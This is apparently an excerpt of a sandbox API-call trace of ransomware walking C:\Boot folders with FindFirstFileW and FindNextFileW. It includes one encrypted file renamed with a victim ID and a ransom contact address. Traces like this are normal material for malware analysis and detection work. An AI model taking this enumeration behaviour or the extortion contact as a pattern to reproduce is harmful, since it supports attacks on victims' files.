	[0166.436] lstrlenW (lpString=".rar") returned 4
	[0166.436] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0166.436] lstrlenW (lpString=".raw") returned 4
	[0166.436] lstrcmpiW (lpString1=".raw", lpString2="LOG1") returned -1
	[0166.436] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0166.437] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0166.437] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.437] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abfd8
	[0166.437] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.437] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.437] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0166.438] FindClose (in: hFindFile=0x6abfd8 | out: hFindFile=0x6abfd8) returned 1
	[0166.438] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.438] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1
	[0166.438] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x82a2ba9e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82a2ba9e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82a2ba9e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x100fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="BOOTST~1.HTM")) returned 1
	[0166.438] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1
	[0166.438] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0166.438] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.438] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0166.438] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.439] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.439] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0166.439] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0166.439] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0166.439] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.439] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0166.439] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.439] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abb58
	[0166.439] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.439] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.440] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0166.440] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0166.440] FindClose (in: hFindFile=0x6abb58 | out: hFindFile=0x6abb58) returned 1
	[0166.440] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.440] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0166.440] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.440] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abb98
	[0166.440] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.440] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.441] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0166.441] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0166.441] FindClose (in: hFindFile=0x6abb98 | out: hFindFile=0x6abb98) returned 1
	[0166.441] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.441] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0166.441] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.441] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abf58
	[0166.442] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.442] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.442] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0166.443] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0166.443] FindClose (in: hFindFile=0x6abf58 | out: hFindFile=0x6abf58) returned 1
	[0166.443] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.443] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0166.443] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.443] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abc98
	[0166.444] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.444] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.444] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0166.444] FindClose (in: hFindFile=0x6abc98 | out: hFindFile=0x6abc98) returned 1
	[0166.444] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.444] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0166.444] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.444] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abe58
	[0166.445] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
